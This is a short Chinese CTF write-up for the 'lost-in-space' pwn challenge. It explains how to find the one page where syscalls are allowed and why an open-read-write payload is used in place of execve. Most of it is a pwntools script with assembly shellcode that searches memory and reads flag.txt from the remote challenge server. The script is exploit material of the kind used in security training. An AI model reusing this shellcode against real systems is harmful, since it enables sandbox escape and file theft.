lost-in-space (11 solves)

index为200的页没有被mprotect调整权限,syscall指令被沙箱限制在这个页内执行,编写shellcode搜索出这个地址即可

因为是在不规则图(存在两条有向边指向同一个点的情况和环之类的)内搜索,直接进行 深搜/广搜 的效率会很低并且有可能会出现死循环(一直在一个环内的点循环搜索),所以在搜索过的页面上做个标记可以提高成功率,但比赛时懒得写了,直接广搜多跑几次也能通(

还有就是最后在搜索出地址可以执行syscall后,直接执行 execve("/bin/sh", 0, 0) 会崩溃(猜测原因是程序内munmap掉了太多地址,本来合法的地址也变成了非法,sh进程里对这些munmap的非法地址进行了读写操作导致崩溃)。后面换成orw的shellcode就能正常读取flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python2
from pwn import *

# io = process('./lost-in-space')
io = remote('lost-in-space.ctf.maplebacon.org', 1337)
context.arch = 'amd64'

sd = lambda x : io.send(x)
ia = lambda : io.interactive()

code = '''
mov rsp, rdx
sub rsp, 0x10
sub rdx, 0x800

loop:
add rdx, 8
cmp qword ptr[rdx], 0
je next_loop
mov rcx, [rdx]
mov r8, rsp
and r8, 0xfff
jz add_rsp
push rcx
cmp byte ptr[rcx], 1
jne loop
je success

next_loop:
pop rdx
jmp loop

add_rsp:
add rsp, 0x500
jmp loop

success:
add rcx, 0x800
mov qword ptr[rcx], 0x50f
mov qword ptr[rcx+2], 0xc3
mov rsp, rcx
add rsp, 0x500

mov rdx, 0x7478742e67616c66
push rdx
mov rdi, rsp
xor rsi, rsi
push 2
pop rax
call rcx
sub rcx, 2

mov rdi, rax
push rcx
pop rsi
sub rsi, 0x100
push 0x50
pop rdx
xor rax, rax
call rcx
sub rcx, 2

push 1
pop rdi
push 1
pop rax
call rcx
sub rcx, 2
'''
code = asm(code)
sd(code)
ia()